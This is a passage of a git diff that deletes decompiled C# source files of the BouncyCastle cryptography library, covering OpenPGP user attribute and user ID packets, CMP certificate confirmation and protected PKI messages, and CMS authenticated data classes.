Arrays.AreEqual(data, userAttributeSubpacket.data); - } - return false; - } - - public override int GetHashCode() - { - return type.GetHashCode() ^ Arrays.GetHashCode(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketTag.cs deleted file mode 100644 index 6e37912..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketTag.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum UserAttributeSubpacketTag -{ - ImageAttribute = 1 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketsParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketsParser.cs deleted file mode 100644 index 78482d1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacketsParser.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Bcpg.Attr; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class UserAttributeSubpacketsParser -{ - private readonly Stream input; - - public UserAttributeSubpacketsParser(Stream input) - { - this.input = input; - } - - public virtual UserAttributeSubpacket ReadPacket() - { - int num = input.ReadByte(); - if (num < 0) - { - return null; - } - int num2 = 0; - bool forceLongLength = false; - if (num < 192) - { - num2 = num; - } - else if (num <= 223) - { - num2 = (num - 192 << 8) + input.ReadByte() + 192; - } - else - { - if (num != 255) - { - throw new IOException("unrecognised length reading user attribute sub packet"); - } - num2 = (input.ReadByte() << 24) | (input.ReadByte() << 16) | (input.ReadByte() << 8) | input.ReadByte(); - forceLongLength = true; - } - int num3 = input.ReadByte(); - if (num3 < 0) - { - throw new EndOfStreamException("unexpected EOF reading user attribute sub packet"); - } - byte[] array = new byte[num2 - 1]; - if (Streams.ReadFully(input, array) < array.Length) - { - throw new EndOfStreamException(); - } - UserAttributeSubpacketTag userAttributeSubpacketTag = (UserAttributeSubpacketTag)num3; - UserAttributeSubpacketTag userAttributeSubpacketTag2 = userAttributeSubpacketTag; - if (userAttributeSubpacketTag2 == UserAttributeSubpacketTag.ImageAttribute) - { - return new ImageAttrib(forceLongLength, array); - } - return new UserAttributeSubpacket(userAttributeSubpacketTag, forceLongLength, array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserIdPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserIdPacket.cs deleted file mode 100644 index dcfc22e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserIdPacket.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System.Text; - -namespace Org.BouncyCastle.Bcpg; - -public class UserIdPacket : ContainedPacket -{ - private readonly byte[] idData; - - public UserIdPacket(BcpgInputStream bcpgIn) - { - idData = bcpgIn.ReadAll(); - } - - public UserIdPacket(string id) - { - idData = Encoding.UTF8.GetBytes(id); - } - - public string GetId() - { - return Encoding.UTF8.GetString(idData, 0, idData.Length); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.UserId, idData, oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContent.cs deleted file mode 100644 index 705edd6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContent.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Cms; - -namespace Org.BouncyCastle.Cmp; - -public class CertificateConfirmationContent -{ - private readonly DefaultDigestAlgorithmIdentifierFinder digestAlgFinder; - - private readonly CertConfirmContent content; - - public CertificateConfirmationContent(CertConfirmContent content) - { - this.content = content; - } - - public CertificateConfirmationContent(CertConfirmContent content, DefaultDigestAlgorithmIdentifierFinder digestAlgFinder) - { - this.content = content; - this.digestAlgFinder = digestAlgFinder; - } - - public CertConfirmContent ToAsn1Structure() - { - return content; - } - - public CertificateStatus[] GetStatusMessages() - { - CertStatus[] array = content.ToCertStatusArray(); - CertificateStatus[] array2 = new CertificateStatus[array.Length]; - for (int i = 0; i != array2.Length; i++) - { - array2[i] = new CertificateStatus(digestAlgFinder, array[i]); - } - return array2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContentBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContentBuilder.cs deleted file mode 100644 index bc66530..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateConfirmationContentBuilder.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cmp; - -public class CertificateConfirmationContentBuilder -{ - private static readonly DefaultSignatureAlgorithmIdentifierFinder sigAlgFinder = new DefaultSignatureAlgorithmIdentifierFinder(); - - private readonly DefaultDigestAlgorithmIdentifierFinder digestAlgFinder; - - private readonly IList acceptedCerts = Platform.CreateArrayList(); - - private readonly IList acceptedReqIds = Platform.CreateArrayList(); - - public CertificateConfirmationContentBuilder() - : this(new DefaultDigestAlgorithmIdentifierFinder()) - { - } - - public CertificateConfirmationContentBuilder(DefaultDigestAlgorithmIdentifierFinder digestAlgFinder) - { - this.digestAlgFinder = digestAlgFinder; - } - - public CertificateConfirmationContentBuilder AddAcceptedCertificate(X509Certificate certHolder, BigInteger certReqId) - { - acceptedCerts.Add(certHolder); - acceptedReqIds.Add(certReqId); - return this; - } - - public CertificateConfirmationContent Build() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - for (int i = 0; i != acceptedCerts.Count; i++) - { - X509Certificate x509Certificate = (X509Certificate)acceptedCerts[i]; - BigInteger certReqId = (BigInteger)acceptedReqIds[i]; - AlgorithmIdentifier sigAlgId = sigAlgFinder.Find(x509Certificate.SigAlgName); - AlgorithmIdentifier algorithmIdentifier = digestAlgFinder.find(sigAlgId); - if (algorithmIdentifier == null) - { - throw new CmpException("cannot find algorithm for digest from signature"); - } - byte[] certHash = DigestUtilities.CalculateDigest(algorithmIdentifier.Algorithm, x509Certificate.GetEncoded()); - asn1EncodableVector.Add(new CertStatus(certHash, certReqId)); - } - return new CertificateConfirmationContent(CertConfirmContent.GetInstance(new DerSequence(asn1EncodableVector)), digestAlgFinder); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateStatus.cs deleted file mode 100644 index 9ec66f4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CertificateStatus.cs +++ /dev/null @@ -1,39 +0,0 @@ -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cmp; - -public class CertificateStatus -{ - private static readonly DefaultSignatureAlgorithmIdentifierFinder sigAlgFinder = new DefaultSignatureAlgorithmIdentifierFinder(); - - private readonly DefaultDigestAlgorithmIdentifierFinder digestAlgFinder; - - private readonly CertStatus certStatus; - - public PkiStatusInfo PkiStatusInfo => certStatus.StatusInfo; - - public BigInteger CertRequestId => certStatus.CertReqID.Value; - - public CertificateStatus(DefaultDigestAlgorithmIdentifierFinder digestAlgFinder, CertStatus certStatus) - { - this.digestAlgFinder = digestAlgFinder; - this.certStatus = certStatus; - } - - public bool IsVerified(X509Certificate cert) - { - AlgorithmIdentifier algorithmIdentifier = digestAlgFinder.find(sigAlgFinder.Find(cert.SigAlgName)); - if (algorithmIdentifier == null) - { - throw new CmpException("cannot find algorithm for digest from signature " + cert.SigAlgName); - } - byte[] b = DigestUtilities.CalculateDigest(algorithmIdentifier.Algorithm, cert.GetEncoded()); - return Arrays.ConstantTimeAreEqual(certStatus.CertHash.GetOctets(), b); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CmpException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CmpException.cs deleted file mode 100644 index 0890f1b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/CmpException.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Cmp; - -public class CmpException : Exception -{ - public CmpException() - { - } - - public CmpException(string message) - : base(message) - { - } - - public CmpException(string message, Exception innerException) - : base(message, innerException) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/GeneralPkiMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/GeneralPkiMessage.cs deleted file mode 100644 index 4f1e93b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/GeneralPkiMessage.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; - -namespace Org.BouncyCastle.Cmp; - -public class GeneralPkiMessage -{ - private readonly PkiMessage pkiMessage; - - public PkiHeader Header => pkiMessage.Header; - - public PkiBody Body => pkiMessage.Body; - - public bool HasProtection => pkiMessage.Protection != null; - - private static PkiMessage ParseBytes(byte[] encoding) - { - return PkiMessage.GetInstance(Asn1Object.FromByteArray(encoding)); - } - - public GeneralPkiMessage(PkiMessage pkiMessage) - { - this.pkiMessage = pkiMessage; - } - - public GeneralPkiMessage(byte[] encoding) - : this(ParseBytes(encoding)) - { - } - - public PkiMessage ToAsn1Structure() - { - return pkiMessage; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessage.cs deleted file mode 100644 index cc3f338..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessage.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crmf; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cmp; - -public class ProtectedPkiMessage -{ - private readonly PkiMessage pkiMessage; - - public PkiHeader Header => pkiMessage.Header; - - public PkiBody Body => pkiMessage.Body; - - public bool HasPasswordBasedMacProtected => Header.ProtectionAlg.Algorithm.Equals(CmpObjectIdentifiers.passwordBasedMac); - - public ProtectedPkiMessage(GeneralPkiMessage pkiMessage) - { - if (!pkiMessage.HasProtection) - { - throw new ArgumentException("pki message not protected"); - } - this.pkiMessage = pkiMessage.ToAsn1Structure(); - } - - public ProtectedPkiMessage(PkiMessage pkiMessage) - { - if (pkiMessage.Header.ProtectionAlg == null) - { - throw new ArgumentException("pki message not protected"); - } - this.pkiMessage = pkiMessage; - } - - public PkiMessage ToAsn1Message() - { - return pkiMessage; - } - - public X509Certificate[] GetCertificates() - { - CmpCertificate[] extraCerts = pkiMessage.GetExtraCerts(); - if (extraCerts == null) - { - return new X509Certificate[0]; - } - X509Certificate[] array = new X509Certificate[extraCerts.Length]; - for (int i = 0; i < extraCerts.Length; i++) - { - array[i] = new X509Certificate(X509CertificateStructure.GetInstance(extraCerts[i].GetEncoded())); - } - return array; - } - - public bool Verify(IVerifierFactory verifierFactory) - { - IStreamCalculator streamCalculator = verifierFactory.CreateCalculator(); - IVerifier verifier = (IVerifier)Process(streamCalculator); - return verifier.IsVerified(pkiMessage.Protection.GetBytes()); - } - - private object Process(IStreamCalculator streamCalculator) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - asn1EncodableVector.Add(pkiMessage.Header); - asn1EncodableVector.Add(pkiMessage.Body); - byte[] derEncoded = new DerSequence(asn1EncodableVector).GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - streamCalculator.Stream.Flush(); - streamCalculator.Stream.Close(); - return streamCalculator.GetResult(); - } - - public bool Verify(PKMacBuilder pkMacBuilder, char[] password) - { - if (!CmpObjectIdentifiers.passwordBasedMac.Equals(pkiMessage.Header.ProtectionAlg.Algorithm)) - { - throw new InvalidOperationException("protection algorithm is not mac based"); - } - PbmParameter instance = PbmParameter.GetInstance(pkiMessage.Header.ProtectionAlg.Parameters); - pkMacBuilder.SetParameters(instance); - IBlockResult blockResult = (IBlockResult)Process(pkMacBuilder.Build(password).CreateCalculator()); - return Arrays.ConstantTimeAreEqual(blockResult.Collect(), pkiMessage.Protection.GetBytes()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessageBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessageBuilder.cs deleted file mode 100644 index 6d2a1fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/ProtectedPkiMessageBuilder.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cmp; - -public class ProtectedPkiMessageBuilder -{ - private PkiHeaderBuilder hdrBuilBuilder; - - private PkiBody body; - - private IList generalInfos = Platform.CreateArrayList(); - - private IList extraCerts = Platform.CreateArrayList(); - - public ProtectedPkiMessageBuilder(GeneralName sender, GeneralName recipient) - : this(PkiHeader.CMP_2000, sender, recipient) - { - } - - public ProtectedPkiMessageBuilder(int pvno, GeneralName sender, GeneralName recipient) - { - hdrBuilBuilder = new PkiHeaderBuilder(pvno, sender, recipient); - } - - public ProtectedPkiMessageBuilder SetTransactionId(byte[] tid) - { - hdrBuilBuilder.SetTransactionID(tid); - return this; - } - - public ProtectedPkiMessageBuilder SetFreeText(PkiFreeText freeText) - { - hdrBuilBuilder.SetFreeText(freeText); - return this; - } - - public ProtectedPkiMessageBuilder AddGeneralInfo(InfoTypeAndValue genInfo) - { - generalInfos.Add(genInfo); - return this; - } - - public ProtectedPkiMessageBuilder SetMessageTime(DerGeneralizedTime generalizedTime) - { - hdrBuilBuilder.SetMessageTime(generalizedTime); - return this; - } - - public ProtectedPkiMessageBuilder SetRecipKID(byte[] id) - { - hdrBuilBuilder.SetRecipKID(id); - return this; - } - - public ProtectedPkiMessageBuilder SetRecipNonce(byte[] nonce) - { - hdrBuilBuilder.SetRecipNonce(nonce); - return this; - } - - public ProtectedPkiMessageBuilder SetSenderKID(byte[] id) - { - hdrBuilBuilder.SetSenderKID(id); - return this; - } - - public ProtectedPkiMessageBuilder SetSenderNonce(byte[] nonce) - { - hdrBuilBuilder.SetSenderNonce(nonce); - return this; - } - - public ProtectedPkiMessageBuilder SetBody(PkiBody body) - { - this.body = body; - return this; - } - - public ProtectedPkiMessageBuilder AddCmpCertificate(X509Certificate certificate) - { - extraCerts.Add(certificate); - return this; - } - - public ProtectedPkiMessage Build(ISignatureFactory signatureFactory) - { - IStreamCalculator signer = signatureFactory.CreateCalculator(); - if (!(signatureFactory.AlgorithmDetails is AlgorithmIdentifier)) - { - throw new ArgumentException("AlgorithmDetails is not AlgorithmIdentifier"); - } - FinalizeHeader((AlgorithmIdentifier)signatureFactory.AlgorithmDetails); - PkiHeader header = hdrBuilBuilder.Build(); - DerBitString protection = new DerBitString(CalculateSignature(signer, header, body)); - return FinalizeMessage(header, protection); - } - - public ProtectedPkiMessage Build(IMacFactory factory) - { - IStreamCalculator signer = factory.CreateCalculator(); - FinalizeHeader((AlgorithmIdentifier)factory.AlgorithmDetails); - PkiHeader header = hdrBuilBuilder.Build(); - DerBitString protection = new DerBitString(CalculateSignature(signer, header, body)); - return FinalizeMessage(header, protection); - } - - private void FinalizeHeader(AlgorithmIdentifier algorithmIdentifier) - { - hdrBuilBuilder.SetProtectionAlg(algorithmIdentifier); - if (generalInfos.Count > 0) - { - InfoTypeAndValue[] array = new InfoTypeAndValue[generalInfos.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = (InfoTypeAndValue)generalInfos[i]; - } - hdrBuilBuilder.SetGeneralInfo(array); - } - } - - private ProtectedPkiMessage FinalizeMessage(PkiHeader header, DerBitString protection) - { - if (extraCerts.Count > 0) - { - CmpCertificate[] array = new CmpCertificate[extraCerts.Count]; - for (int i = 0; i < array.Length; i++) - { - byte[] encoded = ((X509Certificate)extraCerts[i]).GetEncoded(); - array[i] = CmpCertificate.GetInstance(Asn1Object.FromByteArray(encoded)); - } - return new ProtectedPkiMessage(new PkiMessage(header, body, protection, array)); - } - return new ProtectedPkiMessage(new PkiMessage(header, body, protection)); - } - - private byte[] CalculateSignature(IStreamCalculator signer, PkiHeader header, PkiBody body) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - asn1EncodableVector.Add(header); - asn1EncodableVector.Add(body); - byte[] encoded = new DerSequence(asn1EncodableVector).GetEncoded(); - signer.Stream.Write(encoded, 0, encoded.Length); - object result = signer.GetResult(); - if (result is DefaultSignatureResult) - { - return ((DefaultSignatureResult)result).Collect(); - } - if (result is IBlockResult) - { - return ((IBlockResult)result).Collect(); - } - if (result is byte[]) - { - return (byte[])result; - } - throw new InvalidOperationException("result is not byte[] or DefaultSignatureResult"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetails.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetails.cs deleted file mode 100644 index d7d4f55..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetails.cs +++ /dev/null @@ -1,26 +0,0 @@ -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Cmp; - -public class RevocationDetails -{ - private readonly RevDetails revDetails; - - public X509Name Subject => revDetails.CertDetails.Subject; - - public X509Name Issuer => revDetails.CertDetails.Issuer; - - public BigInteger SerialNumber => revDetails.CertDetails.SerialNumber.Value; - - public RevocationDetails(RevDetails revDetails) - { - this.revDetails = revDetails; - } - - public RevDetails ToASN1Structure() - { - return revDetails; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetailsBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetailsBuilder.cs deleted file mode 100644 index 2f382d2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cmp/RevocationDetailsBuilder.cs +++ /dev/null @@ -1,53 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Cmp; - -public class RevocationDetailsBuilder -{ - private readonly CertTemplateBuilder _templateBuilder = new CertTemplateBuilder(); - - public RevocationDetailsBuilder SetPublicKey(SubjectPublicKeyInfo publicKey) - { - if (publicKey != null) - { - _templateBuilder.SetPublicKey(publicKey); - } - return this; - } - - public RevocationDetailsBuilder SetIssuer(X509Name issuer) - { - if (issuer != null) - { - _templateBuilder.SetIssuer(issuer); - } - return this; - } - - public RevocationDetailsBuilder SetSerialNumber(BigInteger serialNumber) - { - if (serialNumber != null) - { - _templateBuilder.SetSerialNumber(new DerInteger(serialNumber)); - } - return this; - } - - public RevocationDetailsBuilder SetSubject(X509Name subject) - { - if (subject != null) - { - _templateBuilder.SetSubject(subject); - } - return this; - } - - public RevocationDetails Build() - { - return new RevocationDetails(new RevDetails(_templateBuilder.Build())); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/BaseDigestCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/BaseDigestCalculator.cs deleted file mode 100644 index c042b18..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/BaseDigestCalculator.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -internal class BaseDigestCalculator : IDigestCalculator -{ - private readonly byte[] digest; - - internal BaseDigestCalculator(byte[] digest) - { - this.digest = digest; - } - - public byte[] GetDigest() - { - return Arrays.Clone(digest); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerationException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerationException.cs deleted file mode 100644 index 31e7ed1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerationException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Cms; - -[Serializable] -public class CmsAttributeTableGenerationException : CmsException -{ - public CmsAttributeTableGenerationException() - { - } - - public CmsAttributeTableGenerationException(string name) - : base(name) - { - } - - public CmsAttributeTableGenerationException(string name, Exception e) - : base(name, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerator.cs deleted file mode 100644 index c6bbf6a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableGenerator.cs +++ /dev/null @@ -1,9 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.Cms; - -namespace Org.BouncyCastle.Cms; - -public interface CmsAttributeTableGenerator -{ - AttributeTable GetAttributes(IDictionary parameters); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableParameter.cs deleted file mode 100644 index 4ff6af1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAttributeTableParameter.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Cms; - -public enum CmsAttributeTableParameter -{ - ContentType, - Digest, - Signature, - DigestAlgorithmIdentifier -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedData.cs deleted file mode 100644 index 4639980..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedData.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Cms; - -internal class CmsAuthEnvelopedData -{ - private class AuthEnvelopedSecureReadable : CmsSecureReadable - { - private readonly CmsAuthEnvelopedData parent; - - public AlgorithmIdentifier Algorithm => parent.authEncAlg; - - public object CryptoObject => null; - - internal AuthEnvelopedSecureReadable(CmsAuthEnvelopedData parent) - { - this.parent = parent; - } - - public CmsReadable GetReadable(KeyParameter key) - { - throw new CmsException("AuthEnveloped data decryption not yet implemented"); - } - } - - internal RecipientInformationStore recipientInfoStore; - - internal ContentInfo contentInfo; - - private OriginatorInfo originator; - - private AlgorithmIdentifier authEncAlg; - - private Asn1Set authAttrs; - - private byte[] mac; - - private Asn1Set unauthAttrs; - - public CmsAuthEnvelopedData(byte[] authEnvData) - : this(CmsUtilities.ReadContentInfo(authEnvData)) - { - } - - public CmsAuthEnvelopedData(Stream authEnvData) - : this(CmsUtilities.ReadContentInfo(authEnvData)) - { - } - - public CmsAuthEnvelopedData(ContentInfo contentInfo) - { - this.contentInfo = contentInfo; - AuthEnvelopedData instance = AuthEnvelopedData.GetInstance(contentInfo.Content); - originator = instance.OriginatorInfo; - Asn1Set recipientInfos = instance.RecipientInfos; - EncryptedContentInfo authEncryptedContentInfo = instance.AuthEncryptedContentInfo; - authEncAlg = authEncryptedContentInfo.ContentEncryptionAlgorithm; - CmsSecureReadable secureReadable = new AuthEnvelopedSecureReadable(this); - recipientInfoStore = CmsEnvelopedHelper.BuildRecipientInformationStore(recipientInfos, secureReadable); - authAttrs = instance.AuthAttrs; - mac = instance.Mac.GetOctets(); - unauthAttrs = instance.UnauthAttrs; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedGenerator.cs deleted file mode 100644 index 9f41b5e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthEnvelopedGenerator.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Asn1.Nist; - -namespace Org.BouncyCastle.Cms; - -internal class CmsAuthEnvelopedGenerator -{ - public static readonly string Aes128Ccm = NistObjectIdentifiers.IdAes128Ccm.Id; - - public static readonly string Aes192Ccm = NistObjectIdentifiers.IdAes192Ccm.Id; - - public static readonly string Aes256Ccm = NistObjectIdentifiers.IdAes256Ccm.Id; - - public static readonly string Aes128Gcm = NistObjectIdentifiers.IdAes128Gcm.Id; - - public static readonly string Aes192Gcm = NistObjectIdentifiers.IdAes192Gcm.Id; - - public static readonly string Aes256Gcm = NistObjectIdentifiers.IdAes256Gcm.Id; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedData.cs deleted file mode 100644 index 04b2e0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedData.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class CmsAuthenticatedData -{ - internal RecipientInformationStore recipientInfoStore; - - internal ContentInfo contentInfo; - - private AlgorithmIdentifier macAlg; - - private Asn1Set authAttrs; - - private Asn1Set unauthAttrs; - - private byte[] mac; - - public AlgorithmIdentifier MacAlgorithmID => macAlg; - - public string MacAlgOid => macAlg.Algorithm.Id; - - public ContentInfo ContentInfo => contentInfo; - - public CmsAuthenticatedData(byte[] authData) - : this(CmsUtilities.ReadContentInfo(authData)) - { - } - - public CmsAuthenticatedData(Stream authData) - : this(CmsUtilities.ReadContentInfo(authData)) - { - } - - public CmsAuthenticatedData(ContentInfo contentInfo) - { - this.contentInfo = contentInfo; - AuthenticatedData instance = AuthenticatedData.GetInstance(contentInfo.Content); - Asn1Set recipientInfos = instance.RecipientInfos; - macAlg = instance.MacAlgorithm; - ContentInfo encapsulatedContentInfo = instance.EncapsulatedContentInfo; - CmsReadable readable = new CmsProcessableByteArray(Asn1OctetString.GetInstance(encapsulatedContentInfo.Content).GetOctets()); - CmsSecureReadable secureReadable = new CmsEnvelopedHelper.CmsAuthenticatedSecureReadable(macAlg, readable); - recipientInfoStore = CmsEnvelopedHelper.BuildRecipientInformationStore(recipientInfos, secureReadable); - authAttrs = instance.AuthAttrs; - mac = instance.Mac.GetOctets(); - unauthAttrs = instance.UnauthAttrs; - } - - public byte[] GetMac() - { - return Arrays.Clone(mac); - } - - public RecipientInformationStore GetRecipientInfos() - { - return recipientInfoStore; - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetAuthAttrs() - { - if (authAttrs == null) - { - return null; - } - return new Org.BouncyCastle.Asn1.Cms.AttributeTable(authAttrs); - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetUnauthAttrs() - { - if (unauthAttrs == null) - { - return null; - } - return new Org.BouncyCastle.Asn1.Cms.AttributeTable(unauthAttrs); - } - - public byte[] GetEncoded() - { - return contentInfo.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataGenerator.cs deleted file mode 100644 index 9844156..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsAuthenticatedDataGenerator.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using 